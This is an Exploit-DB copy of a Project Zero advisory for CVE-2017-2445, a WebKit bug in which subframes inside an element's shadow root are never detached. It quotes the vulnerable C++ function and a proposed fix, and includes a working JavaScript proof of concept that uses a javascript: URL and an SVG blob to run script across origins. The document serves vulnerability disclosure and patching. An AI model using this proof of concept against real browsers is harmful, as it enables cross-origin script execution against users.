EDB-ID: 41802 | Author: Google Security Research | Published: 2017-04-04 | CVE: CVE-2017-2445 | Type: Webapps | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074
When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).
Here is a snippet of |disconnectSubframes|.
void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
...
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;
if (policy == RootAndDescendants) {
if (is<HTMLFrameOwnerElement>(root))
frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
}
collectFrameOwners(frameOwners, root);
// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);
bool isFirst = true;
for (auto& owner : frameOwners) {
// Don't need to traverse up the tree for the first owner since no
// script could have moved it.
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
owner.get().disconnectContentFrame();
isFirst = false;
}
}
The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.
It should be like:
...
collectFrameOwners(frameOwners, root);
if (is<Element>(root)) {
Element& element = downcast<Element>(root);
if (ShadowRoot* shadowRoot = element.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
}
...
PoC:
-->
var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});
var f = s.appendChild(document.createElement("iframe"));
f.onload = () => {
f.onload = null;
f.src = "javascript:alert(location)";
var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc` + `ript>
<element a="1" a="2" />
</svg>`;
var v = document.body.appendChild(document.createElement("iframe"));
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};
f.src = "https://abc.xyz/";

I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.
collectFrameOwners(frameOwners, root);
if (ShadowRoot* shadowRoot = root.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
